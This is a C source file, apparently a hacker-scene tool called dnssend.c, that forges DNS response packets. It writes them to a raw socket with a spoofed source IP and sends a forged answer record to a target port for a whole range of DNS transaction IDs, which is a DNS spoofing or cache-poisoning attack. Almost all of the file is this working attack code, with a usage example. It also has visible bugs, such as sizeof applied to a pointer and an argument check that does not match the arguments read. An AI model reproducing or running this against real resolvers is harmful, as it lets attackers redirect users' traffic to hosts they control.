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dnssend.c
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dnssend.c
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#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include "spoof.c"
#define DC_A 1
#define DC_NS 2
#define DC_CNAME 5
#define DC_SOA 6
#define DC_WKS 11
#define DC_PTR 12
#define DC_HINFO 13
#define DC_MINFO 14
#define DC_MX 15
#define DC_TXT 16
#define ERROR -1
#define MAXBUFSIZE 64*1024
typedef struct {
unsigned short id;
unsigned char rd:1; /* recursion desired */
unsigned char tc:1; /* truncated message */
unsigned char aa:1; /* authoritive answer */
unsigned char opcode:4; /* purpose of message */
unsigned char qr:1; /* response flag */
unsigned char rcode:4; /* response code */
unsigned char unused:2; /* unused bits */
unsigned char pr:1; /* primary server required (non standard) */
unsigned char ra:1; /* recursion available */
unsigned short qdcount;
unsigned short ancount;
unsigned short nscount;
unsigned short arcount;
} dnsheaderrec;
typedef struct {
char buf[256];
char label[256];
unsigned long ttl;
unsigned short type;
unsigned short class;
unsigned short buflen;
unsigned short labellen;
} dnsrrrec;
typedef struct {
dnsheaderrec h;
dnsrrrec qd[20];
dnsrrrec an[20];
dnsrrrec ns[20];
dnsrrrec ar[20];
} dnsrec;
char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount,
short nscount, short arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);
char *ip_to_arpa(char *ip);
char *arparize(char *ip);
char *get_token(char **src, char *token_sep);
char *dnssprintflabel(char *s, char *buf, char *p)
{
unsigned short i,len;
char *b = NULL;
len = (unsigned short) *(p++);
while (len) {
while (len >= 0xC0) {
if (!b) b = p + 1;
p = buf + (ntohs(*((unsigned short *)(p-1))) & ~0xC000);
len = (unsigned short) *(p++);
}
for (i = 0; i < len; i++) *(s++) = *(p++);
*(s++)='.';
len = (unsigned short) * (p++);
}
*(s++) = 0;
if (b) return(b);
return(p);
}
char *dnsaddlabel(char *p, char *label)
{
char *p1;
while ((*label) && (label)) {
if ((*label == '.') && (!*(label+1)))
break;
p1 = strchr(label, '.');
if (!p1)
p1 = strchr(label, 0);
*(p++) = p1-label;
memcpy(p, label, p1-label);
p += p1-label;
label = p1;
if (*p1)
label++;
}
*(p++)=0;
return(p);
}
#define DEFAULTTTL 60*10
void dnstxt2rr(dnsrrrec *rr, char *b)
{
char *tok[20], *p;
unsigned short numt = 0, i;
static char *buf = NULL;
if (!buf) {
if ((buf = malloc(1024)) == NULL) {
perror("malloc");
exit(ERROR);
}
}
strncpy(buf, b, sizeof(buf));
p = strtok(buf," \t");
do {
tok[numt++] = p;
} while ((p = strtok(NULL, " \t")));
p = dnsaddlabel(rr->label, tok[0]);
rr->labellen = p-rr->label;
i = 1;
if (isdigit(*p))
rr->ttl = htonl(atol(tok[i++]));
else
rr->ttl = htonl(DEFAULTTTL);
if (strcmp(tok[i], "IN") == 0)
i++;
rr->class = htons(1);
if (strcmp(tok[i], "A") == 0) {
i++;
rr->type = htons(DC_A);
if (i < numt) {
inet_aton(tok[i],rr->buf);
rr->buflen=4;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i], "CNAME") == 0) {
i++;
rr->type = htons(DC_CNAME);
if (i < numt) {
p = dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"NS") == 0) {
i++;
rr->type = htons(DC_NS);
if (i < numt) {
p = dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i], "PTR") == 0) {
i++;
rr->type=htons(DC_PTR);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"MX") == 0) {
i++;
rr->type=htons(DC_MX);
if (i < numt) {
p =rr->buf;
*((unsigned short *)p) = htons(atoi(tok[i++]));
p += 2;
p = dnsaddlabel(p,tok[i]);
rr->buflen = p-rr->buf;
} else
rr->buflen = 0;
return;
}
}
char *dnsaddbuf(char *p, void *buf, short len)
{
memcpy(p, buf, len);
return(p+len);
}
int dnsmakerawpacket(dnsrec *dns, char *buf)
{
char *p;
int i;
unsigned short len;
memcpy(buf, &dns->h, sizeof(dnsheaderrec));
p=buf+sizeof(dnsheaderrec);
/********** Query ***********/
for (i = 0; i < ntohs(dns->h.qdcount); i++) {
printf("add query\n");
p = dnsaddbuf(p, dns->qd[i].label, dns->qd[i].labellen);
p = dnsaddbuf(p, &dns->qd[i].type, 2);
p = dnsaddbuf(p, &dns->qd[i].class, 2);
}
/********** Answer ***********/
for (i=0; i <ntohs(dns->h.ancount); i++) {
printf("add answer\n");
p = dnsaddbuf(p, dns->an[i].label, dns->an[i].labellen);
p = dnsaddbuf(p, &dns->an[i].type, 2);
p = dnsaddbuf(p, &dns->an[i].class, 2);
p = dnsaddbuf(p, &dns->an[i].ttl, 4);
len = htons(dns->an[i].buflen);
p = dnsaddbuf(p, &len, 2);
p = dnsaddbuf(p, dns->an[i].buf, dns->an[i].buflen);
}
/********** Nameservers ************/
for (i=0; i < ntohs(dns->h.nscount); i++) {
printf("add nameserevr\n");
p = dnsaddbuf(p, dns->ns[i].label, dns->ns[i].labellen);
p = dnsaddbuf(p, &dns->ns[i].type, 2);
p = dnsaddbuf(p, &dns->ns[i].class, 2);
p = dnsaddbuf(p, &dns->ns[i].ttl, 4);
len = htons(dns->ns[i].buflen);
p = dnsaddbuf(p, &len, 2);
p = dnsaddbuf(p, dns->ns[i].buf, dns->ns[i].buflen);
}
/********** Additional ************/
for (i=0; i < ntohs(dns->h.arcount); i++) {
printf("add info\n");
p = dnsaddbuf(p, dns->ar[i].label, dns->ar[i].labellen);
p = dnsaddbuf(p, &dns->ar[i].type, 2);
p = dnsaddbuf(p, &dns->ar[i].class, 2);
p = dnsaddbuf(p, &dns->ar[i].ttl, 4);
len = htons(dns->ar[i].buflen);
p = dnsaddbuf(p, &len, 2);
p = dnsaddbuf(p, dns->ar[i].buf, dns->ar[i].buflen);
}
return(p-buf);
}
char *get_token(src, token_sep)
char **src;
char *token_sep;
{
char *tok;
if (!(src && *src && **src))
return NULL;
while (**src && strchr(token_sep, **src))
(*src)++;
if (**src)
tok = *src;
else
return NULL;
*src = strpbrk(*src, token_sep);
if (*src) {
**src = '\0';
(*src)++;
while(**src && strchr(token_sep, **src))
(*src)++;
} else
*src = "";
return tok;
}
char *ip_to_arpa(char *ip)
{
char *arpablock, *bit_a, *bit_b, *bit_c;
char *oomf;
arpablock = NULL;
arpablock = (char *)malloc(64);
oomf = (char *)malloc(64);
strncpy(oomf, ip, sizeof(oomf));
bit_a = get_token(&oomf, ".");
bit_b = get_token(&oomf, ".");
bit_c = get_token(&oomf, ".");
sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);
return arpablock;
}
char *arparize(char *ip)
{
char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
char *oomf;
arpa = NULL;
arpa = (char *)malloc(64);
oomf = (char *)malloc(64);
strncpy(oomf, ip, sizeof(oomf));
bit_a = get_token(&oomf, ".");
bit_b = get_token(&oomf, ".");
bit_c = get_token(&oomf, ".");
bit_d = oomf;
sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);
return arpa;
}
void main(int argc, char **argv)
{
int len;
int raw_ip;
dnsrec dns;
dnsheaderrec* dnshdr;
char packet[MAXBUFSIZE];
unsigned short dport;
unsigned long sip, dip;
unsigned short id_start, id_cur, id_end;
printf("w00w00!\n");
if (argc < 6) {
printf("usage: %s <P-A> <source> <dest> <question> <answer> <id start> "
"<nb id> <dest port>\n", argv[0]);
printf("example: %s 192.165.12.1 145.23.2.1 \"youpi.youpla.boum. IN A\""
" \"youpi.youpla.boum. IN A 1.2.3.4\" 65535 56 1059\n", argv[0]);
exit(0);
}
dnshdr = (dnsheaderrec *)(packet+20+8);
if ((raw_ip = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(ERROR);
}
/* on rempli le header du message dns */
printf("header du message dns\n");
memset(&(dns.h),0,sizeof(dns.h));
dns.h.id = htons(15);
dns.h.rd = 1;
dns.h.aa = 1;
dns.h.qr = 1;
dns.h.ra = 1;
dns.h.qdcount = htons(1);
dns.h.ancount = htons(1);
dns.h.nscount = htons(0);
dns.h.arcount = htons(0);
/* on ajoute les RR */
printf("ajoute les RR \n");
dnstxt2rr(&(dns.qd[0]),argv[3]);
dnstxt2rr(&(dns.an[0]),argv[4]);
id_start = atoi(argv[5]);
id_end = id_start+atoi(argv[6]);
dport = atoi(argv[7]);
sip = inet_addr(argv[1]);
dip = inet_addr(argv[2]);
for (id_cur = id_start; id_cur < id_end; id_cur++) {
dns.h.id = htons(id_cur);
printf("make ze raw packet (id=%i)\n",id_cur);
len = dnsmakerawpacket(&dns,packet);
udp_send(raw_ip, sip, dip, 53, dport, packet, len);
}
}